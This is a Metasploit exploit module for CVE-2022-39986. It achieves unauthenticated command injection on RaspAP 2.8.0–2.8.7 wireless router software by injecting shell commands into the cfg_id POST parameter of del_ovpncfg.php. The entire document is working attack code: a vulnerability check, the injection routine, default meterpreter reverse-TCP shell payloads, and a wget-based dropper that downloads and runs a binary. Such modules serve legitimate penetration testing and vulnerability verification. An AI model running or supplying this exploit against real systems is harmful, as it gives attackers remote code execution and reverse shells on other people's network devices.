RaspAP 2.8.7 Unauthenticated Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'RaspAP Unauthenticated Command Injection',  
'Description' => %q{  
RaspAP is feature-rich wireless router software that just works  
on many popular Debian-based devices, including the Raspberry Pi.  
A Command Injection vulnerability in RaspAP versions 2.8.0 thru 2.8.7 allows  
unauthenticated attackers to execute arbitrary commands in the context of the user running RaspAP via the cfg_id  
parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.  
  
Successfully tested against RaspAP 2.8.0 and 2.8.7.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ege BALCI <egebalci[at]pm.me>', # msf module  
'Ismael0x00', # original PoC, analysis  
],  
'References' => [  
['CVE', '2022-39986'],  
['URL', 'https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2'],  
['URL', 'https://github.com/advisories/GHSA-7c28-wg7r-pg6f']  
],  
'Platform' => ['unix', 'linux'],  
'Privileged' => false,  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => :wget,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DisclosureDate' => '2023-07-31',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => []  
}  
)  
)  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'The URI of the RaspAP Web GUI', '/'])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),  
'method' => 'POST'  
)  
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
  
if res.code == 200  
return CheckCode::Appears  
end  
  
CheckCode::Safe  
end  
  
def execute_command(cmd, _opts = {})  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),  
'method' => 'POST',  
'vars_post' => {  
'cfg_id' => ";#{cmd};#"  
}  
)  
end  
  
def exploit  
case target['Type']  
when :unix_cmd  
print_status("Executing #{target.name} with #{payload.encoded}")  
execute_command(payload.encoded)  
when :linux_dropper  
print_status("Executing #{target.name}")  
execute_cmdstager  
end  
end  
end  
`